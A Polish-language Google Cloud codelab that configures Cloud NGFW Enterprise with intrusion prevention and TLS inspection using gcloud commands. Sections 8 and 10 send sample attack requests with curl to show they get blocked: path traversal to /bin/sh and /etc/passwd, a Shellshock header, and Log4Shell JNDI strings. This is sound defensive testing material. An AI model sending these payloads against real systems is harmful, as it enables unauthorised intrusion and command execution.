1. Wprowadzenie
Cloud Next Generation Firewall (NGFW)
Zapora sieciowa Cloud Next Generation to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i kompleksowym zasięgiem, która chroni Twoje zbiory zadań w Google Cloud przed atakami wewnętrznymi i zewnętrznymi.
Cloud NGFW zapewnia te korzyści:
- Rozproszona usługa zapory sieciowej: Cloud NGFW zapewnia stanową, w pełni rozproszoną kontrolę hosta w przypadku każdego zbioru zadań, aby umożliwić architekturę zabezpieczeń opartą na zasadzie „zero zaufania”.
- Uproszczona konfiguracja i wdrożenie: zapora NGFW w chmurze implementuje zasady zapory sieciowej i hierarchicznej, które można dołączyć do węzła hierarchii zasobów. Te zasady zapewniają spójne działanie zapory sieciowej w całej hierarchii zasobów Google Cloud.
- Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej i tagów zarządzanych przez usługę Identity and Access Management (IAM) zapewnia precyzyjną kontrolę ruchu w kierunkach północ-południe i wschód-zachód, aż do poziomu pojedynczej maszyny wirtualnej w sieciach VPC i organizacjach.
Usługa Cloud NGFW jest dostępna w tych poziomach:
- Cloud Next Generation Firewall – podstawy
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise dodaje usługę zapobiegania włamaniom (IPS), która jest funkcją warstwy 7, do rozproszonej architektury zapory sieciowej Google Cloud. Inspekcja TLS umożliwia sprawdzanie ruchu szyfrowanego protokołem TLS.
Możesz teraz wdrażać niezawodne inspekcje zapory NGFW warstwy 7 z dokładnymi kontrolkami bez wprowadzania zmian w architekturze sieci lub konfiguracji routingu.
Aby aktywować i wdrożyć kontrolę zapory sieciowej warstwy 7 za pomocą IPS, wykonaj te czynności:
- Utwórz zestaw punktów końcowych strefowych zapory sieciowej zarządzanych przez Google Cloud.
- Opcjonalnie utwórz zasadę kontroli TLS.
- Opcjonalnie utwórz konfigurację zaufania.
- Połącz te punkty końcowe z sieciami VPC, w których potrzebujesz usługi Cloud NGFW Enterprise.
- Wprowadź proste zmiany w dotychczasowych regułach i zasadach zapory sieciowej, aby określić profile zapobiegania zagrożeniom dla różnych ścieżek ruchu.
Zasady zapory sieciowej
Zasada zapory sieciowej działa jako kontener dla reguł zapory sieciowej. Reguły zdefiniowane w zasadach zapory sieciowej nie są egzekwowane, dopóki nie zostaną powiązane z siecią VPC. Każda sieć VPC może mieć powiązaną jedną zasadę zapory sieciowej. Zasady zapory sieciowej obsługują tagi zarządzane przez IAM (lub po prostu tagi) w regułach zapory sieciowej. Zastępują one obecne tagi sieci i mogą służyć do identyfikacji zadań.
Udostępnianie reguł zapory sieciowej w różnych sieciach i integracja z tagami zarządzanymi przez uprawnienia znacznie upraszcza konfigurowanie zapory i zarządzanie nią.
Wraz z wprowadzeniem zasady zapory sieciowej zasady zapory Google Cloud składają się z tych komponentów:
- Hierarchiczne zasady zapory sieciowej
- Reguły zapory sieciowej VPC
- Zasady zapory sieciowej ( globalne i regionalne)
Hierarchiczne zasady zapory sieciowej są obsługiwane w węzłach organizacji i folderów w hierarchii zasobów, natomiast reguły zapory sieciowej VPC i zasady zapory sieciowej sieci są stosowane na poziomie VPC. Duża różnica między regułami zapory sieciowej VPC a zasadami zapory sieciowej polega na tym, że reguły zapory sieciowej VPC można zastosować tylko do jednej sieci VPC, podczas gdy zasady zapory sieciowej można dołączyć do jednej sieci VPC lub grupy sieci VPC, co wiąże się z innymi korzyściami, takimi jak aktualizacje zbiorcze.
Wreszcie mamy też niejawne reguły zapory sieciowej, które są dostępne w każdej sieci VPC:
- Reguła wychodząca, której działanie to zezwalanie, a miejsce docelowe to 0.0.0.0/0
- Reguła ruchu przychodzącego, której działaniem jest odmowa, a źródłem jest 0.0.0.0/0
Domyślna sekwencja egzekwowania zasad wygląda tak:
Pamiętaj, że kolejność stosowania reguł zapory sieciowej VPC i zasad zapory sieciowej sieci globalnej może być odwrotna. Klienci mogą w dowolnym momencie określić kolejność stosowania zasad za pomocą polecenia gcloud.
Tagi
Nowe tagi zintegrowane z regułami zasad zapory sieciowej to zasoby par klucz-wartość zdefiniowane na poziomie organizacji lub projektu w hierarchii zasobów Google Cloud. Taki tag zawiera kontrolę dostępu w uprawnieniach, która określa, kto może wykonywać określone działania na tagu. Uprawnienia zarządzania tożsamościami i dostępem (IAM) umożliwiają na przykład określenie, które podmioty zabezpieczeń mogą przypisywać wartości do tagów i które mogą dołączać tagi do zasobów. Jeśli reguła zapory sieciowej odwołuje się do tagu, musi zostać zastosowana do zasobu, aby była egzekwowana.
Etykiety są zgodne z modelem zasobów dziedziczenia Google Cloud, co oznacza, że etykiety i ich wartości są przekazywane w hierarchii od elementów nadrzędnych. Dzięki temu tagi mogą być tworzone w jednym miejscu, a potem używane przez inne foldery i projekty w hierarchii zasobów. Więcej informacji o tagach i ograniczeniach dostępu znajdziesz tutaj.
Tagów nie należy mylić z tagami sieci. Te ostatnie to ciągi znaków, które można dodać do instancji Compute Engine. Są one powiązane z instancją i znikają, gdy zostanie ona wycofana. Reguły zapory sieciowej VPC mogą zawierać tagi sieci, ale ponieważ nie są one uważane za zasoby w chmurze, nie podlegają kontroli dostępu IAM.
W tym dokumencie terminy „tagi” i „tagi zarządzane przez IAM” są używane zamiennie.
Co utworzysz
Ten projekt wymaga utworzenia jednego projektu i stworzenia sieci VPC oraz zarządzania wieloma zasobami sieci i zabezpieczeń. Pokażą one, jak Cloud NGFW Enterprise może zapewniać funkcję IPS, wykonując te czynności:
- Inspekcja kierowanych na zewnątrz strumieni danych internetowych za pomocą inspekcji TLS
- Inspekcja przepływów wewnątrz VPC [East-West] z inspekcją TLS
Przepływy do sprawdzenia zostaną wybrane za pomocą parametrów dopasowywania zapory sieciowej Cloud, w tym 5-tuple (źródłowy adres IP, docelowy adres IP, protokół, źródłowy port, docelowy port) i tagów.
Ostateczna wersja bazy reguł zasad zapory sieciowej będzie wyglądać podobnie do tabeli poniżej:
Priorytet | Kierunek | Target | Źródło | Cel | Działanie | Typ |
100 | Ruch przychodzący | Server_Tag | Kontrole stanu | Dowolny | Zezwól | Essentials |
200 | Ruch przychodzący | Client_Tag, Server_Tag | IAP | Dowolny | Zezwól | Essentials |
800 | Ruch przychodzący | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | Inspekcja L7 | Firma |
850 | Ruch wychodzący | Client_Tag | Dowolny | 10.0.0.0/24 | Zezwól | Essentials |
900 | Ruch wychodzący | Client_Tag | Dowolny | Dowolny | Inspekcja L7 | Firma |
Czego się nauczysz
- Jak utworzyć zasadę zapory sieciowej.
- Jak tworzyć i używać tagów w zasadach zapory sieciowej.
- Jak skonfigurować i używać Cloud NGFW Enterprise z inspekcją TLS.
Czego potrzebujesz
- Projekt Google Cloud.
- umiejętność wdrażania instancji i konfigurowania elementów sieciowych;
- Znajomość konfiguracji zapory sieciowej VPC.
2. Zanim zaczniesz
Tworzenie i aktualizowanie zmiennych
Ten projekt kodu wykorzystuje zmienne $variables, aby ułatwić implementację konfiguracji gcloud w Cloud Shell.
W Cloud Shell uruchom te polecenia, zastępując informacje w nawiasach w razie potrzeby:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. Włącz interfejsy API
Włącz interfejsy API, jeśli nie zrobiono tego wcześniej:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Tworzenie punktu końcowego Cloud NGFW Enterprise
Ponieważ utworzenie punktu końcowego Cloud NGFW Enterprise zajmuje około 20 minut, zostanie on utworzony jako pierwszy, a konfiguracja podstawowa może być wykonywana równolegle z tworzeniem punktu końcowego.
Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
Oczekiwany wynik:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
Sprawdź, czy zasoby zostały utworzone:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Oczekiwany wynik (uwaga: format danych wyjściowych może się różnić w zależności od używanego klienta:
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Utwórz punkt końcowy Cloud NGFW Enterprise:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
Uruchom podane niżej polecenie, aby sprawdzić, czy punkt końcowy jest tworzony (CREATING).
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Oczekiwany wynik (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Aby uzyskać więcej informacji, opcjonalnie uruchom to polecenie:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Oczekiwany wynik:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
Proces tworzenia trwa około 20 minut. Przejdź do sekcji Konfiguracja podstawowa, aby równolegle tworzyć wymagane zasoby.
5. Konfiguracja podstawowa
sieć VPC i podsieć,
Sieć VPC i podsieć
Utwórz sieć VPC i podsieć:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Utwórz router Cloud Router i bramę Cloud NAT:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instancje
Utwórz instancje klienta i serwera WWW:
gcloud compute instances create $prefix-$zone-client \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2-utils mtr iperf3 tcpdump -y' gcloud compute instances create $prefix-$zone-www \ --subnet=$prefix-$region-subnet --no-address --zone $zone \ --metadata startup-script='#! /bin/bash apt-get update apt-get install apache2 tcpdump iperf3 -y a2ensite default-ssl a2enmod ssl # Read VM network configuration: md_vm="http://169.254.169.254/computeMetadata/v1/instance/" vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )" filter="{print \$NF}" vm_network="$(curl $md_vm/network-interfaces/0/network \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" vm_zone="$(curl $md_vm/zone \ -H "Metadata-Flavor:Google" | awk -F/ "${filter}")" # Apache configuration: echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \ tee /var/www/html/index.html systemctl restart apache2'
Tagi na poziomie projektu
W razie potrzeby przypisz użytkownikowi uprawnienia tagAdmin:if
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
Utwórz klucz i wartości tagu na poziomie projektu:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
Połącz tagi z instancjami:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Zasady zapory sieciowej sieci globalnej
Aby utworzyć globalną zasadę zapory sieciowej:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
Utwórz wymagane reguły Cloud Firewall Essential, aby zezwolić na ruch z zakresów kontroli stanu i serwera proxy z funkcją rozpoznawania tożsamości:
gcloud compute network-firewall-policies rules create 100 \ --description="allow http traffic from health-checks ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:80,tcp:443 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22 gcloud compute network-firewall-policies rules create 200 \ --description="allow ssh traffic from identity-aware-proxy ranges" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --layer4-configs=tcp:22 \ --direction=INGRESS \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \ --src-ip-ranges=35.235.240.0/20
Utwórz wymagane reguły zapory sieciowej Cloud, aby zezwolić na ruch przychodzący wschodnio-zachodni / ruch w obrębie podsieci z określonych zakresów (te reguły zostaną zaktualizowane, aby umożliwić Cloud NGFW Enterprise z kontrolą TLS):
gcloud compute network-firewall-policies rules create 800 \ --description "allow ingress internal traffic from tagged clients" \ --action=allow \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=INGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --src-ip-ranges=10.0.0.0/24 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Połącz zasadę zapory sieciowej w chmurze z siecią VPC:
gcloud compute network-firewall-policies associations create \ --firewall-policy $prefix-fwpolicy \ --network $prefix-vpc \ --name $prefix-fwpolicy-association \ --global-firewall-policy
6. Powiązanie punktu końcowego zapory sieciowej w chmurze
Zdefiniuj zmienne środowiskowe, jeśli nie zostały jeszcze zdefiniowane lub wolisz podejście skryptowe.
Sprawdź, czy utworzenie punktu końcowego zapory Cloud Firewall zostało zakończone. Kontynuuj dopiero wtedy, gdy stan będzie wyświetlany jako AKTYWNA (podczas tworzenia oczekiwany stan to TWORZENIE):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Oczekiwany wynik (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Aby uzyskać więcej informacji, opcjonalnie uruchom to polecenie:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Oczekiwany wynik:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Połącz punkt końcowy zapory Cloud Firewall z siecią VPC:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
Proces powiązania trwa około 10 minut. Do sekcji TLS przejdź dopiero wtedy, gdy stan będzie AKTYWNY (podczas tworzenia stan powinien być TWORZENIE):
gcloud network-security firewall-endpoint-associations list
Oczekiwane dane wyjściowe po zakończeniu:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
Aby uzyskać więcej informacji, opcjonalnie uruchom to polecenie:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Oczekiwany wynik:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. Konfigurowanie zasobów TLS
Utwórz pulę urzędów certyfikacji. Ten zasób będzie przechowywać certyfikat głównego urzędu certyfikacji, który generujemy dla NGFW Enterprise.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
Utwórz główny urząd certyfikacji. To certyfikat urzędu certyfikacji, który będzie używany do podpisywania dodatkowych certyfikatów w przypadku żądań przesyłanych przez NGFW Enterprise.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
Jeśli pojawi się poniższy komunikat, odpowiedz „y”:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Utwórz konto usługi. To konto usługi będzie używane do żądania certyfikatów dla NGFW Enterprise:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Ustaw uprawnienia IAM dla konta usługi:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
Utwórz plik YAML zasad TLS. Ten plik będzie zawierać informacje o konkretnych zasobach:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
Zaimportuj zasadę inspekcji TLS:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
Zaktualizuj powiązanie punktu końcowego, aby włączyć protokół TLS:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
Pobierz certyfikat urzędu certyfikacji i dodaj go do magazynu urzędu certyfikacji klienta:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
Przekaż certyfikat CA klientowi:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
Nawiązuj połączenie SSH z maszyną wirtualną, przenieś certyfikat CA do katalogu /usr/local/share/ca-certificates i zaktualizuj magazyn CA:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Wróć do Cloud Shell.
Proces podpisywania certyfikatu serwera:
W Cloud Shell zainstaluj bibliotekę szyfrowania Pyca za pomocą polecenia pip:
pip install --user "cryptography>=2.2.0"
Aby umożliwić pakietowi Google Cloud SDK korzystanie z biblioteki kryptograficznej Pyca, musisz włączyć pakiety witryn.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
Utwórz certyfikat serwera:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
Spowoduje to wygenerowanie w Cloud Shell plików cert.pem i key.pem. Następnie prześlij certyfikat i klucz na serwer.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
Aby zaktualizować szczegóły certyfikatu Apache, połącz się z serwerem przez SSH:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
Przenieś certyfikat i klucz do określonego folderu:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
Zaktualizuj konfigurację SSL, aby używać podpisanego certyfikatu:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Ponowne uruchamianie Apache:
sudo systemctl restart apache2
Sprawdź stan Apache:
sudo systemctl status apache2
Powinien być aktywny (uruchomiony).
Zamknij maszynę wirtualną i kontynuuj pracę w CloudShell.
8. Sprawdzanie połączeń w kierunku północnym i wschód-zachód
Uruchom te polecenia w Cloud Shell i zanotuj adresy IP docelowych:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
Otwórz nową kartę i zainicjuj połączenie SSH z maszyną wirtualną klienta za pomocą IAP (musisz zdefiniować zmienne w nowej karcie):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Uruchom podane niżej polecenia i zapisz używane adresy IP docelowe. Utwórz zmienne, zastępując wartości w nawiasach adresami IP z poprzedniego kroku, i sprawdź, czy są one dostępne:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Użyj curl do sprawdzenia prywatnego adresu IP i upewnij się, że jest on dostępny:
curl https://$target_privateip --max-time 2
Oczekiwane wyniki polecenia curl:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
Wyślij przykładowe ataki na adres IP. Serwer WWW powinien odpowiadać na wszystkie żądania, potwierdzając, że nie ma żadnej kontroli ani zapobiegania na poziomie L7:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Przykładowe oczekiwane wyniki (IP prywatny):
400 404 400 200 200
Podobnie możesz wysyłać żądania do miejsca docelowego w internecie:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Przykładowe oczekiwane wyniki (miejsce docelowe internet):
400 404 400 403 403
Zamknij terminal maszyny wirtualnej i wróć do Cloud Shell.
9. Tworzenie i aktualizowanie reguł zapory sieciowej na potrzeby inspekcji TLS
Wcześniej skonfigurowaliśmy regułę zapory sieciowej, aby zezwalała na ruch przychodzący do naszego serwera z podsieci wewnętrznej. Zaktualizujemy teraz istniejące reguły dostępu i ustawimy działanie na apply_security_profile_group. Spowoduje to włączenie inspekcji L7 E/W z TLS:
gcloud compute network-firewall-policies rules update 800 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
Utwórz nową regułę, aby skontrolować inspekcję L7 w kierunku północnym z użyciem TLS.
gcloud compute network-firewall-policies rules create 900 \ --description "Inspect egress traffic over TCP 443" \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --enable-logging \ --layer4-configs tcp:443 \ --dest-ip-ranges=0.0.0.0/0 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \ --tls-inspect
Utwórz nową regułę, aby zezwolić na ruch wychodzący dla E/W, aby zapobiec podwójnej inspekcji.
gcloud compute network-firewall-policies rules create 850 \ --description "Prevent double inspection" \ --action=ALLOW \ --firewall-policy=$prefix-fwpolicy \ --global-firewall-policy \ --direction=EGRESS \ --layer4-configs tcp:443 \ --dest-ip-ranges=10.0.0.0/24 \ --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. Weryfikowanie inspekcji TLS w kierunku północnym
Wróć do karty klienckiej maszyny wirtualnej lub połącz się ponownie:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Wysyłanie przykładowych ataków do miejsca docelowego w internecie:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Nie otrzymano odpowiedzi zgodnie z oczekiwanym wynikiem poniżej, co potwierdza, że przykładowe ataki są teraz blokowane:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Ustaw zmienną na adres IP serwera z poprzedniego kroku:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Wysyłanie przykładowych żądań TLS do serwera:
curl https://$target_privateip --max-time 2
Oczekiwany wynik:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Dlaczego ta prośba się nie powiodła? Dzieje się tak, ponieważ zapora otrzymuje certyfikat od serwera, któremu nie ufa. W takim przypadku zwróci on do klienta certyfikat podpisany samodzielnie. Aby włączyć zaufanie, musimy dodać certyfikat urzędu certyfikacji w ramach konfiguracji zaufania.
Wróć do Cloud Shell.
11. Konfigurowanie konfiguracji zaufania
Pobierz certyfikat głównego urzędu certyfikacji i ustaw go jako zmienną z odpowiednim formatem.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Skonfiguruj plik YAML konfiguracji zaufania. Ten plik zawiera informacje o zaufaniu, takie jak certyfikaty urzędu certyfikacji:
cat > trust_config.yaml << EOF name: "$prefix-trust-config" trustStores: - trustAnchors: - pemCertificate: | ${NGFW_ROOT_CA} EOF
Polecenia te zawierały certyfikat głównego urzędu certyfikacji jako część magazynu zaufanych certyfikatów, ponieważ certyfikat serwera został podpisany za pomocą głównego urzędu certyfikacji. Oznacza to, że zapora sieciowa będzie ufać wszystkim certyfikatom, które otrzyma od urzędu głównego CA, oprócz urzędów publicznych CA, jeśli w zasadach TLS ustawisz wartość excludePublicCaSet na Fałsz.
Sprawdź zawartość konfiguracji zaufania.
cat trust_config.yaml
Przykładowe dane wyjściowe:
Zwróć szczególną uwagę na wyrównanie wcięć certyfikatu. Musi on mieć dokładnie taki format.
